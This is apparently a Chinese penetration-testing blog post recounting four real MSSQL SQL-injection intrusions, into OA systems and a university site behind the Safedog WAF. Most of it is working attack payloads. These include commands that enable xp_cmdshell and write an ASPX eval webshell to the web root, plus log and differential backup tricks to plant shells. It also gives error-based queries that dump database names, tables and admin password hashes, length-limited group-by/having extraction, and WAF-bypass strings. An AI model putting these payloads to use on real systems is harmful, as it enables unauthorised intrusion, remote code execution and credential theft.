经验分享 | mssql注入实战总结之狠快准绕

  • A+
所属分类:安全文章


前言

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

用sqlmap是没有灵魂的

                                   —-ctf.show

本次用4个有趣的实战案例来分别讲:

狠–常见getshell

快–快速报错注入

准–字符长度100限制下注入

绕–绕福某大学安全狗

虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

文章由F12sec团队师傅Challenger创作。

已发布于先知社区。


实战一

这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈

但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…….

经验分享 | mssql注入实战总结之狠快准绕


先说可以xp_cmdshell部分:

xp_cmdshell写shell技巧:

条件:sa权限,

常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

经验分享 | mssql注入实战总结之狠快准绕

#开启方法

     execute(‘sp_configure “show advanced options”,1’)  #将该选项的值设置为1

     execute(‘reconfigure’)                             #保存设置

     execute(‘sp_configure “xp_cmdshell”, 1’)           #将xp_cmdshell的值设置为1

     execute(‘reconfigure’)                             #保存设置

     execute(‘sp_configure’)                            #查看配置

     execute(‘xp_cmdshell “whoami”‘)                    #执行系统命令

或者

     exec sp_configure ‘show advanced options’,1;      

     reconfigure;                                      

     exec sp_configure ‘xp_cmdshell’,1;                 

     reconfigure;                                     

     exec sp_configure;                                

     exec xp_cmdshell ‘whoami’;  

     exec master ..xp_cmdshell “ping dnslog”

上面执行开启命令后,执行一下  whoami     ,system  权限,直接起飞!

经验分享 | mssql注入实战总结之狠快准绕

写shell技巧:

#先找网站根路径:

exec xp_cmdshell ‘where /r d: *.aspx’;

直接写入aspx文件同目录却访问不了,麻了!

问了一下tari师兄,他说:估计做了和springboot类似的路由映射,但静态文件的目录可能不会走路由.    访问路径如下

经验分享 | mssql注入实战总结之狠快准绕

故再找根路径下绝对静态可解析路径:

exec xp_cmdshell ‘where /r D:OA *.jpg’; 

经验分享 | mssql注入实战总结之狠快准绕

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者

echo "一句话" > hack.aspx 用双引号 

echo ^<^%@ Page Language=”Jscript”%^>^<^%eval(Request.Item[“y”],”unsafe”);%^>^ >d:xxxx.aspx

然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx即可.

其它gethell大全:(看偶像柯大佬的总结

剩下不可以xp_cmdshell的,但其它大多getshell方法(这里可以看柯大佬的珂技知识分享的总结),都没法用.

其它大多方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用

因为我这版本是SQL Server 2008不可用,吐了~~于是只好备份getshell

备份getshell:(至少DBO权限)

log备份(推荐):

优势:

1、重复性好,多次备份的成功率高

2、相对于差异备份而言,shell的体积较小

利用条件:

1、前提得知绝对路径,并且可写

2、站库不分离

3、数据库必须被备份过一次

;alter database 库名 set RECOVERY FULL--  
;create table 数据库名..表名(a image)--
//建表
;insert into 数据库名..表名(a) values (0x一句话木马)--
//插入一句话木马到表中,注意16进制

;backup database 数据库名 to disk = 'c:wwwpanda.bak'--
//先手动给数据库备份一遍

;backup log 数据库名 to disk = 'c:wwwpanda.asp' with init--
//利用log备份到web路径getshell


差异备份的条件:

1、前提知道绝对路径,路径可写。

2、HTTP 500错误不是自定义

3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。

4、数据量不能太大

;backup database 库名 to disk = ‘c:bak.bak’ ;–-    //先手动备份一次
;create table 数据库名..表名(a image)–-
//建立表,加字段
;insert into 数据库名..表名(a) values (0x一句话木马)–-
//插入一句话木马到表中,注意16进制
;backup database 库名 to disk = ‘c:shell.asp’ with differential , format ;--
//进行差异备份


小结:

备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子

我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下

经验分享 | mssql注入实战总结之狠快准绕

导致:<%@ Page Language=xx  %>出现多次,报错:只能有一个page指令   试了闭合和其它方法不行,如有大佬成了,可指教一下,小弟将不胜感激!

经验分享 | mssql注入实战总结之狠快准绕


实战二

mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用

经验分享 | mssql注入实战总结之狠快准绕


注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功     00xxxxx   123456

然后登录后台,在某处发现sql注入:

Users/xx.ashx?ID=00'and 1=1 --+

//闭合成功


') and 1=convert(int,user_name()) --+ 

#查当前数据库用户,结果不是sa

1')/**/;/**/exec/**/master ..xp_cmdshell /**/ "ping  xx.dnslog.cn" --+

#不死心,执行一下cmdshell

经验分享 | mssql注入实战总结之狠快准绕

但权限果然不够

# 1.查其它数据库名 ,如下图:直接和联合查询差不多,快

') and 1=convert(int,stuff((select quotename(namefrom sys.databases for xml path('')),1,0,''))--+

经验分享 | mssql注入实战总结之狠快准绕

#2.查指定数据库下的表

') and 1=convert(int,stuff((select  quotename(namefrom 数据库名.sys.objects where type='U' for xml path('')),1,0,''))--+

经验分享 | mssql注入实战总结之狠快准绕

#3.查指定表字段

') and 1=convert(int,stuff((select quotename(namefrom 数据库名.sys.columns where object_id=object_id('表名'for xml path('')),1,0,''))--+

#4.查指定数据

    #查username

') and 1=convert(int,stuff((select quotename(USNM) from 表  for xml path('')),1,0,''))--+

    #查admin的password

') and 1=convert(int,stuff((select quotename(PSWD) from T_USER where USNM='admin' for xml path('')),1,0,''))--+

实战三


最近十二师傅给了个mssql的sql注入, 用户名处可注入 ,但这sql注入很烦…验证码刷新无法绕过

经验分享 | mssql注入实战总结之狠快准绕

而且还前端加密………..

经验分享 | mssql注入实战总结之狠快准绕

单引号报错,闭合 1’/**/and/**/1=1--+    ,立马用上面的快速报错大法:

#1.查当前用户名:(非sa)

1'/**/and/**/1=convert(int,user_name()) --+

#mssql默认支持叠堆注入,但没有权限xp_cmdshell

1'/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"–+

经验分享 | mssql注入实战总结之狠快准绕

#查其它数据库名

1'/**/and/**/1=convert(int,stuff((select quotename(namefrom sys.databases for xml path('')),1,0,''))--+

经验分享 | mssql注入实战总结之狠快准绕


#查指定数据库下的表

1'/**/and/**/1=convert(int,stuff((select  quotename(namefrom 数据库名.sys.objects where type=’U’ for xml path('')),1,0,''))--+

可惜好景不长………payload没用了猜测长度限制了,输了n个无害的111111111111…..也是如下这样  “非法登录”

经验分享 | mssql注入实战总结之狠快准绕

最后发现限制了长度为100,这TM玩ctf麽?  细心的会发现快速报错大法和其他常见的长度都超了100  

这里是登录处故可以用以下查:

#当前表名和列名

having 1=1--+  

经验分享 | mssql注入实战总结之狠快准绕

嘿嘿得到 表名:Users 列:nid  

拼接类似如下,只能得到当前sql语句里的表和列

经验分享 | mssql注入实战总结之狠快准绕

继续使用上一个所得到的值 Users.nid来递归获取所有的名  

' group by Users.nid having 1=1--

  #得到Users.sysuserId继续使用上2个,递归获取

' group by Users.nid,Users.sysuserId having 1=1--

   #…..多个递归,最后得到Users.UserPwd  和Users.UserName  再不出来就超100长度了emmm

' group by Users.nid,Users.sysuserId,Users.RoleId,Users.RoleType,Users.UserName having 1=1--

 #查字段内容

1' and 1=(select top 1 UserName from Users--1' and 1=(select top 1 UserPwd from Users) --

得到账号test,加密的密码,md5查不出,估计加盐了

经验分享 | mssql注入实战总结之狠快准绕

不死心查第二个,用上个递归,得到test1

#递归查账号

1' and 1=(select top 1 UserName from Users where UserName!='test')--

 #查test1密码

 1' and 1=(select top 1 UserPwd from Users where UserName='test1')--

经验分享 | mssql注入实战总结之狠快准绕

最后麻了密码居然和上个账号test一样

然后盲猜有admin账号

1' and 1=(select top 1 UserPwd from Users where UserName='admin')--

发现得出的密码不一样,但MD5还是解不出

经验分享 | mssql注入实战总结之狠快准绕


绕–绕福某大学安全狗

这次是FengXone师傅给的福某大学sql注入,感谢FengXone老表,但有waf为安全狗

经验分享 | mssql注入实战总结之狠快准绕

登录后台某处有sql注入,

逐个字符fuzz了一波得到 payload:

ID=1%1eor%1e1%3ddb_name ()%1e--

经验分享 | mssql注入实战总结之狠快准绕


数据库名:xxx      因为挖src不像攻防演练,注出库就可以上报了,主要还是菜…..

然后fuzz是得到payload:

ID=1%20or%201=1--

居然可以爆出大量敏感信息 666

经验分享 | mssql注入实战总结之狠快准绕



如果对你有帮助的话
那就长按二维码,关注我们吧!

经验分享 | mssql注入实战总结之狠快准绕
经验分享 | mssql注入实战总结之狠快准绕


经验分享 | mssql注入实战总结之狠快准绕

经验分享 | mssql注入实战总结之狠快准绕  经验分享 | 渗透笔记之Bypass WAF

经验分享 | mssql注入实战总结之狠快准绕  什么是HTTP和HTTPS

经验分享 | mssql注入实战总结之狠快准绕  实战 |  BYPASS安全狗-我也很“异或”

右下角求赞求好看,喵~


本文始发于微信公众号(F12sec):经验分享 | mssql注入实战总结之狠快准绕

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: